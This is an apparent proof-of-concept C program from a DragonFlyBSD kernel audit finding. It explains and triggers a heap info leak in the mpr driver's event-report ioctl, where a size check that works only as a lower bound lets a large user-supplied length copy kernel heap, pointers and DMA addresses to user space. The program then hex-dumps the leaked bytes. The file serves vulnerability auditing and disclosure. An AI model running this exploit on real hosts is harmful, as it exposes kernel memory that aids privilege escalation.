โฌข DragonFlyBSD Kernel Audit
DF-1328 / poc.c
โ† back to finding โ†“ download raw
/*
 * DF-1328 โ€” mpr_user_event_report kernel-heap info leak PoC.
 *
 * Bug: mpr_user.c:2076-2080:
 *     size = data->Size;                       // uint32_t user-controlled
 *     if (size >= sizeof(sc->recorded_events)) // >= 40000
 *         copyout(sc->recorded_events, PTRIN(data->PtrEvents), size);
 * sizeof(sc->recorded_events) = 200 entries * 200 B = 40000 B, but the
 * copyout length is the user-supplied `size` (up to 0xFFFFFFFF = 4 GiB),
 * NOT sizeof(recorded_events).  The >= check is a *lower* bound, not an
 * upper bound.  A large size reads past recorded_events into the rest of
 * struct mpr_softc (DMA bus addresses, kernel pointers, locks) and onward
 * into adjacent kernel heap.
 *
 * Trigger: open("/dev/mpr0") + ioctl(MPTIOCTL_EVENT_REPORT).
 * Device is UID_ROOT/GID_OPERATOR 0640; needs operator-group + an LSI
 * SAS3+ HBA.  mpr_open() returns 0 unconditionally; no ioctl privilege
 * check.
 *
 * REQUIRES HARDWARE (no mpr HBA on the QEMU audit guest โ†’ /dev/mpr0
 * does not exist โ†’ open returns ENOENT).  See VERDICT.md.
 *
 * Build:  cc -o poc poc.c -Wall
 * Run:    ./poc            (as an operator-group user, mpr-equipped host)
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MPTIOCTL ('I')
typedef struct mpr_event_report {
	uint32_t Size;       /* <-- attacker-controlled copy length */
	uint64_t PtrEvents;
} mpr_event_report_t;
#define MPTIOCTL_EVENT_REPORT _IOWR(MPTIOCTL, 7, mpr_event_report_t)

#define LEAK_SIZE (256 * 1024)   /* 256 KiB past the 40000 B array */

int main(void)
{
	int fd = open("/dev/mpr0", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/mpr0");

	unsigned char *leak = calloc(1, LEAK_SIZE);
	if (!leak)
		err(1, "calloc");

	mpr_event_report_t er;
	memset(&er, 0, sizeof(er));
	er.PtrEvents = (uint64_t)(uintptr_t)leak;
	er.Size      = LEAK_SIZE;   /* >= 40000 โ†’ accepted; over-reads heap */

	if (ioctl(fd, MPTIOCTL_EVENT_REPORT, &er) < 0)
		err(1, "ioctl MPTIOCTL_EVENT_REPORT");

	fprintf(stderr, "[+] copyout completed; dumping bytes 40000..40256 of softc tail:\n");
	for (int i = 40000; i < 40000 + 256 && i < (int)LEAK_SIZE; i += 16) {
		fprintf(stderr, "%05x ", i);
		for (int j = 0; j < 16; j++) fprintf(stderr, "%02x ", leak[i + j]);
		fprintf(stderr, "\n");
	}
	close(fd);
	return 0;
}